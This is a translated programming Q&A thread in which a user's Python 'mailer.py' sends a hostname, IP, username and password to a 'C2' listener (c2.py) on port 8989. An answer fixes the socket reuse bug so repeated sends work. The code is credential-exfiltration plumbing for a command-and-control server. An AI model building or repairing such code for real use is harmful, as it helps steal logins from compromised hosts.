2017-08-06 68 views
0

我寫這個的目的是發送在一臺服務器上收集的數據發送到外部服務器。這個問題似乎與c2.py一樣,因爲mailer.py在發送數據時沒有問題,但c2.py將只輸出1個從唯一IP發送給它的消息。Python接收器不會接受每個客戶端超過1條消息

mailer.py(將數據發送到c2.py坐在另一臺服務器上)

C2 = "C2 SERVER" 
C2PORT = 8989 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
sock.settimeout(10) 

def send(ip, usr, pw): 
    try: 
     try: 
      s.connect((C2, C2PORT)) 
      s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw) 
      print "sent" 
     except socket.error, ex: 
      print ex 
    except KeyboardInterrupt: 
     s.close() 
     sys.close() 

c2.py(偵聽坐在另一臺服務器上)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
s.bind(('',8989)) 
s.listen(10) 

def nodeRecv(): 
    while 1: 
     try: 
      conn, addr = s.accept() 
      conn.settimeout(10) 
      print conn.recv(65000) 
      conn.close() 
      print "1" 
     except socket.error, ex: 
      conn.close() 
      print ex 

if __name__ == "__main__": 
    print "Connected to localhost:8989" 
    print "Listening for nodes..." 
    nodeRecv() 
+0

看看這個答案 - https://stackoverflow.com/questions/15958026/getting-errno-9-bad-file-descriptor-in-python-socket,應該解決你的困境。 – droravr

回答

1

不能重新打開在收到所有發生錯誤的數據後,同一個套接字和您的服務器正在關閉連接(conn.close())。移動s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)到函數,並打開一個新的socket:

import socket 
from time import sleep 

C2 = 'localhost' 
C2PORT = 8989 


def send(ip, usr, pw): 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try: 
     s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
     s.connect((C2, C2PORT)) 
     s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw) 
     print "sent" 
     sleep(5) 

    except KeyboardInterrupt: 
     return False 

    finally: 
     s.close() 


for i in ['z', 'x', 'y']: 
    send(i, i, i) 

欲瞭解更多信息,請閱讀此Question

相關問題